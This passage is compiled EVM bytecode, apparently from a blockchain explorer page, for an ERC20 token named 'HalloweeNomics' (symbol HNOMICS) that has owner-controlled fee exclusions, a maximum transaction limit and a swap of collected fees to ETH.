50610484610b1b565b6040516104919190611e2f565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc9190611c4f565b610b41565b6040516104ce9190611caa565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f99190611c4f565b610bed565b60405161050b9190611caa565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190611e4a565b610c0b565b6040516105489190611d4e565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190611df3565b610c92565b005b34801561058657600080fd5b506105a1600480360381019061059c9190611df3565b610d82565b005b60606040518060400160405280600e81526020017f48616c6c6f7765654e6f6d696373000000000000000000000000000000000000815250905090565b60006105f46105ed610f44565b8484610f4c565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b60085481565b6000610641848484611117565b6106e18461064d610f44565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106dc9190611eb9565b610f4c565b600190509392505050565b60006009905090565b6000610797610702610f44565b848460046000610710610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190611eed565b610f4c565b6001905092915050565b6107a9610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90611f8f565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610964610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e890611f8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f484e4f4d49435300000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610be3610b4e610f44565b848460046000610b5c610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bde9190611eb9565b610f4c565b6001905092915050565b6000610c01610bfa610f44565b8484611117565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1e90611f8f565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d8a610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0e90611f8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90612021565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb3906120b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612145565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110a9190611d4e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e906121d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612269565b60405180910390fd5b6000811161123a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611231906122fb565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112de5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113385750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611396576007548161134a84610913565b6113549190611eed565b1115611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c9061238d565b60405180910390fd5b5b600654811180156113e55750600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481115b156114455780600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114399190611eed565b925050819055506116eb565b65048c2739500061145530610913565b101580156114705750600a60149054906101000a900460ff16155b80156114ca5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561151d576001600a60146101000a81548160ff02191690831515021790555060006114f530610913565b9050611500816116f0565b6000600a60146101000a81548160ff021916908315150217905550505b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461156c9190611eb9565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561161c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561162e5761162b8285611774565b90505b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167d9190611eed565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e19190611d4e565b60405180910390a3505b505050565b60006116fb826118a3565b9050600081111561177057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561176e573d6000803e3d6000fd5b505b5050565b60008060646008548561178791906123ad565b6117919190612436565b905060006064600954866117a591906123ad565b6117af9190612436565b905080826117bd9190611eed565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461180b9190611eed565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838561186d9190611eed565b60405161187a9190611d4e565b60405180910390a380828661188f9190611eb9565b6118999190611eb9565b9250505092915050565b600080600267ffffffffffffffff8111156118c1576118c0612467565b5b6040519080825280602002602001820160405280156118ef5781602001602082028036833780820191505090505b509050308160008151811061190757611906612496565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a957600080fd5b505afa1580156119bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e191906124da565b816001815181106119f5576119f4612496565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a5c30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610f4c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611ac0959493929190612600565b600060405180830381600087803b158015611ada57600080fd5b505af1158015611aee573d6000803e3d6000fd5b5050505047915050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b35578082015181840152602081019050611b1a565b83811115611b44576000848401525b50505050565b6000601f19601f8301169050919050565b6000611b6682611afb565b611b708185611b06565b9350611b80818560208601611b17565b611b8981611b4a565b840191505092915050565b60006020820190508181036000830152611bae8184611b5b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611be682611bbb565b9050919050565b611bf681611bdb565b8114611c0157600080fd5b50565b600081359050611c1381611bed565b92915050565b6000819050919050565b611c2c81611c19565b8114611c3757600080fd5b50565b600081359050611c4981611c23565b92915050565b60008060408385031215611c6657611c65611bb6565b5b6000611c7485828601611c04565b9250506020611c8585828601611c3a565b9150509250929050565b60008115159050919050565b611ca481611c8f565b82525050565b6000602082019050611cbf6000830184611c9b565b92915050565b6000819050919050565b6000611cea611ce5611ce084611bbb565b611cc5565b611bbb565b9050919050565b6000611cfc82611ccf565b9050919050565b6000611d0e82611cf1565b9050919050565b611d1e81611d03565b82525050565b6000602082019050611d396000830184611d15565b92915050565b611d4881611c19565b82525050565b6000602082019050611d636000830184611d3f565b92915050565b600080600060608486031215611d8257611d81611bb6565b5b6000611d9086828701611c04565b9350506020611da186828701611c04565b9250506040611db286828701611c3a565b9150509250925092565b600060ff82169050919050565b611dd281611dbc565b82525050565b6000602082019050611ded6000830184611dc9565b92915050565b600060208284031215611e0957611e08611bb6565b5b6000611e1784828501611c04565b91505092915050565b611e2981611bdb565b82525050565b6000602082019050611e446000830184611e20565b92915050565b60008060408385031215611e6157611e60611bb6565b5b6000611e6f85828601611c04565b9250506020611e8085828601611c04565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ec482611c19565b9150611ecf83611c19565b925082821015611ee257611ee1611e8a565b5b828203905092915050565b6000611ef882611c19565b9150611f0383611c19565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3857611f37611e8a565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f79602083611b06565b9150611f8482611f43565b602082019050919050565b60006020820190508181036000830152611fa881611f6c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061200b602683611b06565b915061201682611faf565b604082019050919050565b6000602082019050818103600083015261203a81611ffe565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061209d602483611b06565b91506120a882612041565b604082019050919050565b600060208201905081810360008301526120cc81612090565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061212f602283611b06565b915061213a826120d3565b604082019050919050565b6000602082019050818103600083015261215e81612122565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121c1602583611b06565b91506121cc82612165565b604082019050919050565b600060208201905081810360008301526121f0816121b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612253602383611b06565b915061225e826121f7565b604082019050919050565b6000602082019050818103600083015261228281612246565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006122e5602983611b06565b91506122f082612289565b604082019050919050565b60006020820190508181036000830152612314816122d8565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000612377602883611b06565b91506123828261231b565b604082019050919050565b600060208201905081810360008301526123a68161236a565b9050919050565b60006123b882611c19565b91506123c383611c19565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123fc576123fb611e8a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061244182611c19565b915061244c83611c19565b92508261245c5761245b612407565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506124d481611bed565b92915050565b6000602082840312156124f0576124ef611bb6565b5b60006124fe848285016124c5565b91505092915050565b6000819050919050565b600061252c61252761252284612507565b611cc5565b611c19565b9050919050565b61253c81612511565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61257781611bdb565b82525050565b6000612589838361256e565b60208301905092915050565b6000602082019050919050565b60006125ad82612542565b6125b7818561254d565b93506125c28361255e565b8060005b838110156125f35781516125da888261257d565b97506125e583612595565b9250506001810190506125c6565b5085935050505092915050565b600060a0820190506126156000830188611d3f565b6126226020830187612533565b818103604083015261263481866125a2565b90506126436060830185611e20565b6126506080830184611d3f565b969550505050505056fea26469706673582212209214074406d2b0d66c0a9240e35661abf1dad21e098a6e300e9cf97085966b6864736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101445760003560e01c80636bc87c3a116100b6578063962dfc751161006f578063962dfc751461046f578063a457c2d71461049a578063a9059cbb146104d7578063dd62ed3e14610514578063ea2f0b3714610551578063f2fde38b1461057a5761014b565b80636bc87c3a1461036f57806370a082311461039a578063715018a6146103d75780637d1db4a5146103ee5780638da5cb5b1461041957806395d89b41146104445761014b565b806323b872dd1161010857806323b872dd14610239578063313ce5671461027657806339509351146102a1578063437823ec146102de57806349bd5a5e146103075780635342acb4146103325761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e357806322976e0d1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a3565b6040516101729190611b94565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611c4f565b6105e0565b6040516101af9190611caa565b60405180910390f35b3480156101c457600080fd5b506101cd6105fe565b6040516101da9190611d24565b60405180910390f35b3480156101ef57600080fd5b506101f8610624565b6040516102059190611d4e565b60405180910390f35b34801561021a57600080fd5b5061022361062e565b6040516102309190611d4e565b60405180910390f35b34801561024557600080fd5b50610260600480360381019061025b9190611d69565b610634565b60405161026d9190611caa565b60405180910390f35b34801561028257600080fd5b5061028b6106ec565b6040516102989190611dd8565b60405180910390f35b3480156102ad57600080fd5b506102c860048036038101906102c39190611c4f565b6106f5565b6040516102d59190611caa565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190611df3565b6107a1565b005b34801561031357600080fd5b5061031c610891565b6040516103299190611e2f565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190611df3565b6108b7565b6040516103669190611caa565b60405180910390f35b34801561037b57600080fd5b5061038461090d565b6040516103919190611d4e565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190611df3565b610913565b6040516103ce9190611d4e565b60405180910390f35b3480156103e357600080fd5b506103ec61095c565b005b3480156103fa57600080fd5b50610403610aaf565b6040516104109190611d4e565b60405180910390f35b34801561042557600080fd5b5061042e610ab5565b60405161043b9190611e2f565b60405180910390f35b34801561045057600080fd5b50610459610ade565b6040516104669190611b94565b60405180910390f35b34801561047b57600080fd5b50610484610b1b565b6040516104919190611e2f565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc9190611c4f565b610b41565b6040516104ce9190611caa565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f99190611c4f565b610bed565b60405161050b9190611caa565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190611e4a565b610c0b565b6040516105489190611d4e565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190611df3565b610c92565b005b34801561058657600080fd5b506105a1600480360381019061059c9190611df3565b610d82565b005b60606040518060400160405280600e81526020017f48616c6c6f7765654e6f6d696373000000000000000000000000000000000000815250905090565b60006105f46105ed610f44565b8484610f4c565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b60085481565b6000610641848484611117565b6106e18461064d610f44565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106dc9190611eb9565b610f4c565b600190509392505050565b60006009905090565b6000610797610702610f44565b848460046000610710610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107929190611eed565b610f4c565b6001905092915050565b6107a9610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90611f8f565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610964610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e890611f8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f484e4f4d49435300000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610be3610b4e610f44565b848460046000610b5c610f44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bde9190611eb9565b610f4c565b6001905092915050565b6000610c01610bfa610f44565b8484611117565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1e90611f8f565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d8a610f44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0e90611f8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90612021565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb3906120b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612145565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110a9190611d4e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e906121d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612269565b60405180910390fd5b6000811161123a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611231906122fb565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112de5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113385750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611396576007548161134a84610913565b6113549190611eed565b1115611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c9061238d565b60405180910390fd5b5b600654811180156113e55750600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481115b156114455780600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114399190611eed565b925050819055506116eb565b65048c2739500061145530610913565b101580156114705750600a60149054906101000a900460ff16155b80156114ca5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561151d576001600a60146101000a81548160ff02191690831515021790555060006114f530610913565b9050611500816116f0565b6000600a60146101000a81548160ff021916908315150217905550505b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461156c9190611eb9565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561161c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561162e5761162b8285611774565b90505b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167d9190611eed565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e19190611d4e565b60405180910390a3505b505050565b60006116fb826118a3565b9050600081111561177057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561176e573d6000803e3d6000fd5b505b5050565b60008060646008548561178791906123ad565b6117919190612436565b905060006064600954866117a591906123ad565b6117af9190612436565b905080826117bd9190611eed565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461180b9190611eed565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838561186d9190611eed565b60405161187a9190611d4e565b60405180910390a380828661188f9190611eb9565b6118999190611eb9565b9250505092915050565b600080600267ffffffffffffffff8111156118c1576118c0612467565b5b6040519080825280602002602001820160405280156118ef5781602001602082028036833780820191505090505b509050308160008151811061190757611906612496565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a957600080fd5b505afa1580156119bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e191906124da565b816001815181106119f5576119f4612496565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a5c30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610f4c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611ac0959493929190612600565b600060405180830381600087803b158015611ada57600080fd5b505af1158015611aee573d6000803e3d6000fd5b5050505047915050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b35578082015181840152602081019050611b1a565b83811115611b44576000848401525b50505050565b6000601f19601f8301169050919050565b6000611b6682611afb565b611b708185611b06565b9350611b80818560208601611b17565b611b8981611b4a565b840191505092915050565b60006020820190508181036000830152611bae8184611b5b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611be682611bbb565b9050919050565b611bf681611bdb565b8114611c0157600080fd5b50565b600081359050611c1381611bed565b92915050565b6000819050919050565b611c2c81611c19565b8114611c3757600080fd5b50565b600081359050611c4981611c23565b92915050565b60008060408385031215611c6657611c65611bb6565b5b6000611c7485828601611c04565b9250506020611c8585828601611c3a565b9150509250929050565b60008115159050919050565b611ca481611c8f565b82525050565b6000602082019050611cbf6000830184611c9b565b92915050565b6000819050919050565b6000611cea611ce5611ce084611bbb565b611cc5565b611bbb565b9050919050565b6000611cfc82611ccf565b9050919050565b6000611d0e82611cf1565b9050919050565b611d1e81611d03565b82525050565b6000602082019050611d396000830184611d15565b92915050565b611d4881611c19565b82525050565b6000602082019050611d636000830184611d3f565b92915050565b600080600060608486031215611d8257611d81611bb6565b5b6000611d9086828701611c04565b9350506020611da186828701611c04565b9250506040611db286828701611c3a565b9150509250925092565b600060ff82169050919050565b611dd281611dbc565b82525050565b6000602082019050611ded6000830184611dc9565b92915050565b600060208284031215611e0957611e08611bb6565b5b6000611e1784828501611c04565b915050929150505